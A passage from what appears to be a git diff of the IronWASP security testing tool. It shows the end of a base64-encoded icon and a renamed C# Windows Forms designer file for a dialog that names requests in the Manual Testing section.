wAAAGAAAAAAYAAAD/////4AAABAAAAAACAAAAf////+AAAAwAAAAAAwAAAH/////AAAAIAAAAAAEAAAA + /////wAAAGAAAAAABgAAAP////4AAABAAAAAAAIAAAB////+AAAAwAAAAAADAAAAf////AAAAMAAAAAA + AQAAAD////wAAAGAAAAAAAGAAAA////4AAABgAAAAAAAgAAAH///+AAAAwAAAAAAAMAAAB////AAAAMA + AAAAAABAAAAP///wAAAGAAAAAAAAYAAAD///4AAABgAAAAAAACAAAAf//+AAAAwAAAAAAAAwAAAH///A + AAAMAAAAAAAAEAAAA///wAAAGAAAAAAAABgAAAP//4AAABgAAAAAAAAIAAAB//+AAAAwAAAAAAAADAAA + Af//AAAAMAAAAAAAAAQAAAD//wAAAGAAAAAAAAAGAAAA//4AAAH4AAAAAAAAH4AAAH/+AAAH/wAAAAAA + AP/gAAB//AAAP//wAAAAAA///AAAP/wAAf///gAAAAB///+AAD/4AAf////gAAAH////4AAf+AA///// + /AAAP/////wAH/AA//////+AAf//////AA/wB///////+B///////+AP4B/////////////////4B+D/ + /////////////////wfD///////////////////D//////////////////////////////////////// + /////////////////////////////////////////////4lQTkcNChoKAAAADUlIRFIAAAEAAAABAAgG + AAAAXHKoZgAAHntJREFUeNrtnXmcXEW1x7/DIiiogLIoKmprfC68RhtQQARcQCh0Hj73XcSlWcIq4BLC + km0SEmJHGSALCVtA0dA+CkFFkV0w6BAQISSEsG9hJ9sk8/6oipn03Orp5d5bt26f7+fDh8/nVnf1uXdy + f+fUdg4IgiAIgiAIgiAIgiAIgiAIgiAIgiAIgpAXuqIuKqV2Br4DnA/cpbUe8G2oIAjNoZTqAnYGDgWm + a63vrv3MJo7vLgA+BIwEblFKzQQu11q/5PumBEGoj1LqtcDngcOADwPXAXdHfbarTif7An8ZdOlZ4FJg + FjBfogJByA7W2+8KfBf4ErCVbRoA9tFa3xD1va5hOrwW2K+maS1wBzAD+LXWepnvmxeETkUp9Qbgixhv + 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 + + + \ No newline at end of file diff --git a/IronWASP/NameTestGroupWizard.Designer.cs b/Iron/NameTestGroupWizard.Designer.cs similarity index 97% rename from IronWASP/NameTestGroupWizard.Designer.cs rename to Iron/NameTestGroupWizard.Designer.cs index 4de5589..f2c1ca8 100644 --- a/IronWASP/NameTestGroupWizard.Designer.cs +++ b/Iron/NameTestGroupWizard.Designer.cs @@ -1,179 +1,179 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -namespace IronWASP -{ - partial class NameTestGroupWizard - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(NameTestGroupWizard)); - this.CancelBtn = new System.Windows.Forms.Button(); - this.DoneBtn = new System.Windows.Forms.Button(); - this.SwithToMTSectionCB = new System.Windows.Forms.CheckBox(); - this.textBox4 = new System.Windows.Forms.TextBox(); - this.Step0StatusTB = new System.Windows.Forms.TextBox(); - this.label7 = new System.Windows.Forms.Label(); - this.label6 = new System.Windows.Forms.Label(); - this.RequestNameTB = new System.Windows.Forms.TextBox(); - this.SuspendLayout(); - // - // CancelBtn - // - this.CancelBtn.Location = new System.Drawing.Point(10, 227); - this.CancelBtn.Name = "CancelBtn"; - this.CancelBtn.Size = new System.Drawing.Size(75, 23); - this.CancelBtn.TabIndex = 0; - this.CancelBtn.Text = "Cancel"; - this.CancelBtn.UseVisualStyleBackColor = true; - this.CancelBtn.Click += new System.EventHandler(this.CancelBtn_Click); - // - // DoneBtn - // - this.DoneBtn.Location = new System.Drawing.Point(391, 97); - this.DoneBtn.Name = "DoneBtn"; - this.DoneBtn.Size = new System.Drawing.Size(89, 23); - this.DoneBtn.TabIndex = 1; - this.DoneBtn.Text = "Done"; - this.DoneBtn.UseVisualStyleBackColor = true; - this.DoneBtn.Click += new System.EventHandler(this.DoneBtn_Click); - // - // SwithToMTSectionCB - // - this.SwithToMTSectionCB.AutoSize = true; - this.SwithToMTSectionCB.Checked = true; - this.SwithToMTSectionCB.CheckState = System.Windows.Forms.CheckState.Checked; - this.SwithToMTSectionCB.Location = new System.Drawing.Point(229, 236); - this.SwithToMTSectionCB.Name = "SwithToMTSectionCB"; - this.SwithToMTSectionCB.Size = new System.Drawing.Size(259, 17); - this.SwithToMTSectionCB.TabIndex = 2; - this.SwithToMTSectionCB.Text = "Take me to Manual Testing Section automatically"; - this.SwithToMTSectionCB.UseVisualStyleBackColor = true; - // - // textBox4 - // - this.textBox4.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox4.Dock = System.Windows.Forms.DockStyle.Top; - this.textBox4.Location = new System.Drawing.Point(5, 5); - this.textBox4.Multiline = true; - this.textBox4.Name = "textBox4"; - this.textBox4.ReadOnly = true; - this.textBox4.Size = new System.Drawing.Size(479, 77); - this.textBox4.TabIndex = 6; - this.textBox4.TabStop = false; - this.textBox4.Text = "The Manual Testing section can contain multiple requests and so naming requests m" + - "akes it easy to identify them.\r\n\r\nEnter a name and click \'Done\'"; - // - // Step0StatusTB - // - this.Step0StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.Step0StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.Step0StatusTB.Location = new System.Drawing.Point(17, 161); - this.Step0StatusTB.Multiline = true; - this.Step0StatusTB.Name = "Step0StatusTB"; - this.Step0StatusTB.Size = new System.Drawing.Size(394, 46); - this.Step0StatusTB.TabIndex = 19; - this.Step0StatusTB.TabStop = false; - this.Step0StatusTB.Visible = false; - // - // label7 - // - this.label7.AutoSize = true; - this.label7.Location = new System.Drawing.Point(17, 127); - this.label7.Name = "label7"; - this.label7.Size = new System.Drawing.Size(227, 13); - this.label7.TabIndex = 18; - this.label7.Text = "( if left blank a name is automatically assigned )"; - // - // label6 - // - this.label6.AutoSize = true; - this.label6.Location = new System.Drawing.Point(17, 102); - this.label6.Name = "label6"; - this.label6.Size = new System.Drawing.Size(100, 13); - this.label6.TabIndex = 17; - this.label6.Text = "Name this Request:"; - // - // RequestNameTB - // - this.RequestNameTB.Location = new System.Drawing.Point(117, 99); - this.RequestNameTB.Name = "RequestNameTB"; - this.RequestNameTB.Size = new System.Drawing.Size(269, 20); - this.RequestNameTB.TabIndex = 16; - // - // NameTestGroupWizard - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(489, 256); - this.Controls.Add(this.Step0StatusTB); - this.Controls.Add(this.label7); - this.Controls.Add(this.label6); - this.Controls.Add(this.RequestNameTB); - this.Controls.Add(this.textBox4); - this.Controls.Add(this.SwithToMTSectionCB); - this.Controls.Add(this.DoneBtn); - this.Controls.Add(this.CancelBtn); - this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); - this.Name = "NameTestGroupWizard"; - this.Padding = new System.Windows.Forms.Padding(5); - this.Text = "Name this Request"; - this.Load += new System.EventHandler(this.NameTestGroupWizard_Load); - this.ResumeLayout(false); - this.PerformLayout(); - - } - - #endregion - - private System.Windows.Forms.Button CancelBtn; - private System.Windows.Forms.Button DoneBtn; - private System.Windows.Forms.CheckBox SwithToMTSectionCB; - private System.Windows.Forms.TextBox textBox4; - internal System.Windows.Forms.TextBox Step0StatusTB; - private System.Windows.Forms.Label label7; - private System.Windows.Forms.Label label6; - private System.Windows.Forms.TextBox RequestNameTB; - } +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +namespace IronWASP +{ + partial class NameTestGroupWizard + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(NameTestGroupWizard)); + this.CancelBtn = new System.Windows.Forms.Button(); + this.DoneBtn = new System.Windows.Forms.Button(); + this.SwithToMTSectionCB = new System.Windows.Forms.CheckBox(); + this.textBox4 = new System.Windows.Forms.TextBox(); + this.Step0StatusTB = new System.Windows.Forms.TextBox(); + this.label7 = new System.Windows.Forms.Label(); + this.label6 = new System.Windows.Forms.Label(); + this.RequestNameTB = new System.Windows.Forms.TextBox(); + this.SuspendLayout(); + // + // CancelBtn + // + this.CancelBtn.Location = new System.Drawing.Point(10, 227); + this.CancelBtn.Name = "CancelBtn"; + this.CancelBtn.Size = new System.Drawing.Size(75, 23); + this.CancelBtn.TabIndex = 0; + this.CancelBtn.Text = "Cancel"; + this.CancelBtn.UseVisualStyleBackColor = true; + this.CancelBtn.Click += new System.EventHandler(this.CancelBtn_Click); + // + // DoneBtn + // + this.DoneBtn.Location = new System.Drawing.Point(391, 97); + this.DoneBtn.Name = "DoneBtn"; + this.DoneBtn.Size = new System.Drawing.Size(89, 23); + this.DoneBtn.TabIndex = 1; + this.DoneBtn.Text = "Done"; + 